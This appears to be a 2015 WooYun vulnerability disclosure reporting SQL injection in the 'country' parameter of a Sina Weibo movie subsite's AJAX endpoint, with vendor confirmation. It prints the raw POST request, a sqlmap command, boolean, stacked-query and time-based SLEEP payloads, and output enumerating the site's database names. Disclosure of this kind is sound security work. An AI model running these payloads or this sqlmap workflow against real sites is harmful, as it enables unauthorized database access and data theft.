当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089910

漏洞标题:新浪微博某分站SQL注射

相关厂商:新浪

漏洞作者: Jannock

提交时间:2015-01-04 14:30

修复时间:2015-02-18 14:32

公开时间:2015-02-18 14:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-04: 厂商已经确认,细节仅向厂商公开
2015-01-14: 细节向核心白帽子及相关领域专家公开
2015-01-24: 细节向普通白帽子公开
2015-02-03: 细节向实习白帽子公开
2015-02-18: 细节向公众公开

简要描述:

新浪微博某分站SQL注射

详细说明:

http://movie.weibo.com/movie/web/category?from=faxian_movie#
电影分类那里的 ajax 请求,
POST /movie/webajax/category HTTP/1.1
Host: movie.weibo.com
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://movie.weibo.com/movie/web/category
Content-Length: 34
Cookie: cookie
Cache-Control: no-cache
Connection: Keep-Alive
type=201&country=402&year=0&page=1
country 存在SQL注入

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -r /1.txt -p country  --dbs --threads 5
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:28:16
[14:28:16] [INFO] parsing HTTP request from '/1.txt'
[14:28:16] [WARNING] provided parameter 'country' is not inside the Cookie
[14:28:16] [INFO] resuming back-end DBMS 'mysql'
[14:28:16] [INFO] testing connection to the target url
[14:28:17] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: country
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=201&country=402 AND 3578=3578&year=2013&page=1
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: type=201&country=402; SELECT SLEEP(5);-- &year=2013&page=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type=201&country=402 AND SLEEP(5)&year=2013&page=1
---
[14:28:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[14:28:17] [INFO] fetching database names
[14:28:17] [INFO] fetching number of databases
[14:28:17] [INFO] retrieved: 3
[14:28:22] [INFO] retrieving the length of query output
[14:28:22] [INFO] retrieved: 18
[14:28:42] [INFO] retrieved: information_schema
[14:28:42] [INFO] retrieving the length of query output
[14:28:42] [INFO] retrieved: 8
[14:28:51] [INFO] retrieved: musiclib
[14:28:52] [INFO] retrieving the length of query output
[14:28:52] [INFO] retrieved: 2
[14:28:58] [INFO] retrieved: Y`
available databases [3]:
[*] `Y`
[*] information_schema
[*] musiclib

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-04 15:21

厂商回复:

感谢对新浪安全的支持,漏洞修复中

最新状态:

暂无